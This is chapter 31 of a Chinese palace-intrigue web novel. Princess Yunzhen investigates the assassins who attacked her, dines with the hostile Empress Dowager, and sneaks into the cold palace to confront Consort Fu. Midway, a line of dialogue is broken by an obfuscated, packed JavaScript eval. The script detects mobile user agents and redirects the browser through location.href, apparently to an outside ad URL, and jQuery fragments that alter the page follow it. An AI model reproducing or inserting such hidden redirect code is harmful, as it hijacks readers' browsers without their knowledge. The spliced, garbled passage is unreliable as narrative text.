31. 冷宫

作品:《掌印请自重

    蔺聿的出现让沈今鹤顿足,他的眉头微不可察地皱了皱,不知是不满被别人插话还是怎的,心中渐渐涌起一丝不痛快。


    “蔺大人还有何事?”


    “殿下可否借一步说话?”


    蔺聿眉眼低垂,目光温润如水。


    云蓁颔首,跟着蔺聿往远处走了几步。


    直到确认无人能听见他们的谈话声,蔺聿才停下脚步,低声道:“我们已抓到和亲路上那帮刺客。”


    本是件好事,他却叹了口气,“酷刑用尽,还是撬不开他们的嘴。”


    “那不如请沈掌印上刑好了。”


    “没用的,那些人是经过严格训练的江湖杀手,若非我差人日夜看守,只怕那些刺客已自行了断。”


    云蓁神色凝重,“江湖杀手?”


    蔺聿点头道:“刺客后颈皆有刺青,我们顺着这条线查到了他们的老巢,可他们都是些无亲无故的亡命之徒,宁愿死也不愿吐露半个字,即便抓来,也无济于事。”


    云蓁沉思片刻道:“只要肯花银子,他们便会接单吗?”


    “杀一人至少要五百两黄金。”


    “蔺大人是否将此事禀告了圣上?”


    “蒲大人此前禀明过此事,本想借此机会将该组织一网打尽,但圣上之意是……”蔺聿神色黯了几分,“朝廷与江湖关系复杂,若直接插手江湖之事,恐对社稷不利,故而只让大理寺从那几个刺客身上下手,不得牵扯过多。”


    云蓁嗤之以鼻,圣上究竟是怕对社稷不利,还是怕暴露太后?


    既然朝廷不愿深查下去,便只能她亲自来了。


    “烦请蔺大人告知杀手组织老巢所在何处。”


    蔺聿见云蓁眼中隐约流露的杀意,心下一惊,急忙道:“不可,太危险了,臣将此事禀明殿下是想让殿下再仔细想想可与富贵人家结仇,不是让殿下以身涉险的。”


    “他们的目标是本宫,送亲队伍是被本宫所连累,无论如何,本宫都要揪出幕后真凶,替枉死之人报仇!”


    云蓁红着眼看向蔺聿,“蔺大人,你问本宫可与富贵人家结仇,人心难测,敌暗我明,争锋之人未必是敌,亲近之人未必良善,这些皆须本宫一一确认,那杀手组织是眼下唯一的线索,本宫断不会错过。”


    蔺聿望着她,欲言又止,终长叹一声,将他所知尽数相告,只一再叮嘱:“殿下不可只身前往。”


    云蓁看了眼神色严肃的蔺聿,朝他点了点头,言谢后转身朝静静待在原地的沈今鹤走去。


    同蔺聿说话,她如浴春风,不过须臾便站在沈今鹤面前,周身的暖意也渐渐消散。


    云蓁觉得沈今鹤每次向她行礼都有些不情愿,于是在他刚要俯身之际,她悠然开口:“沈掌印前来,有何要事?”


    他神色淡然,道:“太后召见殿下。”


    云蓁挑眉,“怎由沈掌印传唤?”


    “臣来大理寺正好有公务要办,顺便传话罢了。”


    他眼神飘忽,错开云蓁的目光,俯了俯身便步入大理寺狱。


    狱卒见了他赶忙上前,垂下头小心翼翼地问:“掌印大人有何吩咐?”


    沈今鹤并未理会,视线悄悄瞥向门外,直至云蓁的马车驶离,他才又跨出狱门,弄得狱卒一头雾水。


    诏狱才是他的地盘,他来此处能办什么公务,云蓁方才就捕捉到他躲闪的眼神了,只不过他有意隐瞒,她也不便刨根问底。


    她不会知道,沈今鹤在宫里头碰到寿康宫的李嬷嬷,得知她要去大理寺狱替太后传唤,他便说顺路代劳。


    走着走着突然觉得自己莫名其妙,于是给自己找了个借口:不过是想亲自确认盟友是否安好,免得大事未成,又生变故。


    她既无恙,他也就暗暗松了口气,如释重负地离去。


    云蓁忍不住掀开车帘,眼里映出那抹往反方向而去的身影,她虽不问,但也着实好奇他究竟藏着什么秘密。


    “沈今鹤在门口等多久了?”


    云蓁突然问起沈今鹤,雪绒微愣,那会儿因她害怕沈今鹤,站得离他远远的。


    “奴婢是半个时辰前来的,到时沈掌印就在了。”


    云蓁放下帘子,自言自语道:“既然来得这般早,怎不先去办他的公务,愣愣守在门口不像是他雷厉风行的作风。”


    云蓁琢磨着,眉头微蹙,雪绒以为她不舒服,赶紧将食盒打开,端出热腾腾的菜肴,“殿下饿了吧,这些都是膳房刚做好的。”


    经过上次生辰宴之事,雪绒便知寿康宫那位不安好心,于是愤愤道:“殿下刚出那腌臢地儿,理应遣大师来府上给殿下驱驱晦气,再好生歇息着,此时唤殿下进宫,这不是折腾您吗?”


    云蓁扯出一抹笑,“无妨,本宫正好也想见见太后呢。”


    ·


    不知从何时起,云蓁对皇宫已有浓烈的厌恶,尤以寿康宫为甚。


    太后一见云蓁就开始嘘寒问暖,把傅文骂得头破血流,她演得炉火纯青,云蓁亦是应对自如。


    云蓁握住太后的手撒娇道:“昨夜盖着那床软褥,甚是思念母后,儿臣留下陪母后用晚膳吧。”


    太后笑道:“好好好,”看向守在一旁的李嬷嬷,“快去吩咐膳房多做些扶音爱吃的。”


    李嬷嬷得了命令连连点头,笑呵呵地出了主殿。


    这顿饭云蓁吃得很不快活,却仍要藏住厌恶,配合太后演一番其乐融融之景。


    她细嚼慢咽,愣着掐着时间才放下玉箸,随后又同太后聊了几句家常才离开寿康宫。


    若非想在宫里待到天黑,她是断然不会在寿康宫坐那么久的。


    云蓁行至主宫道上,在岔路口悄然拐进小道,雪绒递上寻来的宫女衣裳,掩饰云蓁更衣。


    主仆二人一路遮遮掩掩,到了冷宫门前,雪绒躲在门外盯梢,云蓁则提着一盏宫灯推开那道朱漆剥落的门。


    黑夜也无法道尽冷宫的凄凉阴森,寂静如死水,只偶尔传来几声乌鸦的哀鸣。


    杂草丛生,枯枝败叶堆了一地,院子一角立着一口枯井,想到那口井里约莫有昔日锦袍加身的贵人,云蓁不禁打了个哆嗦。


    云蓁正琢磨傅氏在哪间房时,她身后突然传来脚踩枯叶的声音。


    她猛然回头,只见一张瘦如骷髅的脸占据她整个瞳孔,她倒吸一口凉气,往后退了半步,那张脸露出诡异的笑。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15034871|160002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    又来一个?”


    女人笑得比沈今鹤还恐怖,说话间气息飘忽,宛若空灵。


    云蓁微微张嘴,话还没说出,女人便又上前一步,抓住云蓁的袖子,死死盯着她,“皇后娘娘……”


    皇后娘娘?


    傅氏是当朝首位被打入冷宫的妃子,也就是说,眼前这个女人是先帝的嫔妃,她的记忆仍停留在前朝,这才会神志不清地将云蓁错认成懿贞皇后。


    女人因瘦骨嶙峋而显得狰狞,但云蓁未感觉到恶意,便同她耐心解释道:“本……我是懿贞皇后的女儿云蓁。”


    女人的手明显一紧,喃喃道:“云蓁……云蓁……”


    蓦地,她笑了起来,“小扶音,是你啊!”


    她“咯咯咯”笑得像个孩子,将云蓁拉到墙角,小声道:“小扶音,快来看蚂蚁运糖渣!”


    云蓁弯下腰,借着宫灯一照,斑驳的墙角下如何看也不到女人口中的蚂蚁。


    见云蓁不说话,女人嘟了嘟嘴:“你从前最喜欢蹲在墙角看蚂蚁了,怎今日不高兴?是不是偷偷出宫给小太子买生辰礼被发现啦?”


    云蓁愣神,太子说的应是原主死去的哥哥。


    正事要紧,云蓁轻声问她:“你可知前些日子来的那个妃子住在哪儿?”


    女人突然不满地唾吐于地,“呸,无礼之辈,小扶音千万别搭理她!”


    “我有急事寻她,一会儿再来陪你玩儿可好?”


    女人不满的表情一瞬即逝,乖乖点了点头,伸出手指朝东边的屋子指了指。


    云蓁走近一看才发现从窗户里透出的微弱的光,她轻轻推开门往里头走了几步。


    屋里陈设极为简朴,却收拾得干干净净,没有半点萧索之感。


    烛台旁立着一方朴素的梳妆台,铜镜被擦拭得锃亮,映着微弱的烛火,将傅氏的面容勾勒得很柔和,她虽消瘦了不少,但眉宇间仍依稀可见昔日的雍容。


    突然,傅氏手中的木梳掉地,只见铜镜里映出那张她恨之入骨的脸。


    她将手边的碗摔碎,捡起一片残瓷抵在云蓁喉咙前,那咬牙切齿的声音在寂静的屋内格外清晰。


    云蓁早知她见了她会有此举动,但更清楚她不会杀了她。


    因着傅氏眼前明晃晃地立着一封信,其上“阿晴亲启”四个字瞬间瓦解了她的戾气。


    她一把夺过云蓁指尖攥着的信封,颤抖着手将信靠近烛火,目光一寸一寸地扫过泪痕之下的字迹。


    傅文在字里行间先是关心她的近况,而后劝她安分地度过此生,不要再生事端,更不要……


    再被太后利用。


    “我爹怎么了?!”傅氏双眼猩红,紧紧抓住云蓁的胳膊。


    父亲突然来这么一封信必是傅家出事了,否则他断不会写那句:“父亲再不能庇护你……”


    “你说话啊!我爹怎么了?!”她疯了似的晃着云蓁,朝她吼道。


    云蓁抬起双手挣脱开来,屋子本就小,傅氏一个没站稳撞到一侧的木桌上,她却感觉不到疼痛似的,只愣愣地盯着云蓁。


    云蓁面无表情道:“你该问问自己,为何要做太后的爪牙?”


    “说清楚。”